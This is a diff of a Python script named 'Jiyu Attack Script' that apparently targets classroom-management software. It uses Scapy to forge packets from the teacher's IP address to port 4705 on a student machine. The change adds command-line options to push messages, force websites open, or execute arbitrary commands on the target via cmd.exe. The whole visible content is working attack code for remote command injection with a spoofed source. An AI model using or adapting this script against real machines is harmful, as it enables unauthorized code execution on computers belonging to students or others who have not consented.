|
7 | 7 | The script uses Scapy for packet manipulation and sending. |
8 | 8 | """ |
9 | 9 |
|
| 10 | +import argparse |
10 | 11 | import secrets |
11 | 12 |
|
12 | 13 | from typing import Literal, Optional |
@@ -138,12 +139,28 @@ def pkg_website(url: str) -> bytes: |
138 | 139 |
|
139 | 140 |
|
140 | 141 | if __name__ == "__main__": |
141 | | - teacher_ip = input("Enter the teacher's IP address: ").strip() |
142 | | - target = input("Enter the target IP address: ").strip() |
143 | | - while True: |
144 | | - tmsg = input("Enter your message (empty to exit): ") |
145 | | - if not tmsg: |
146 | | - print("Exiting...") |
147 | | - break |
148 | | - payload = pkg_message(tmsg) |
149 | | - broadcast_packet(teacher_ip, target, 4705, payload) |
| 142 | + parser = argparse.ArgumentParser(description="Jiyu Attack Script") |
| 143 | + parser.add_argument("-s", "--teacher-ip", type=str, required=True, help="Teacher's IP address") |
| 144 | + parser.add_argument("-t", "--target", type=str, required=True, help="Target IP address") |
| 145 | + parser.add_argument("-p", "--port", type=int, default=4705, help="Port to send packets to (default: 4705)") |
| 146 | + |
| 147 | + group = parser.add_mutually_exclusive_group(required=True) |
| 148 | + group.add_argument("-m", "--message", type=str, help="Message to send") |
| 149 | + group.add_argument("-w", "--website", type=str, help="Website URL to ask to open") |
| 150 | + group.add_argument("-c", "--command", type=str, help="Command to execute on the target") |
| 151 | + |
| 152 | + args = parser.parse_args() |
| 153 | + teacher_ip = args.teacher_ip |
| 154 | + target = args.target |
| 155 | + port = args.port |
| 156 | + if args.message: |
| 157 | + payload = pkg_message(args.message) |
| 158 | + elif args.website: |
| 159 | + payload = pkg_website(args.website) |
| 160 | + elif args.command: |
| 161 | + payload = pkg_command("cmd.exe", f'/D /C "{args.command}"', "minimize") |
| 162 | + else: |
| 163 | + raise ValueError("Either message or website must be provided") |
| 164 | + |
| 165 | + broadcast_packet(teacher_ip, target, port, payload) |
| 166 | + print(f"Packet sent to {target} on port {port} with payload length {len(payload)} bytes") |
0 commit comments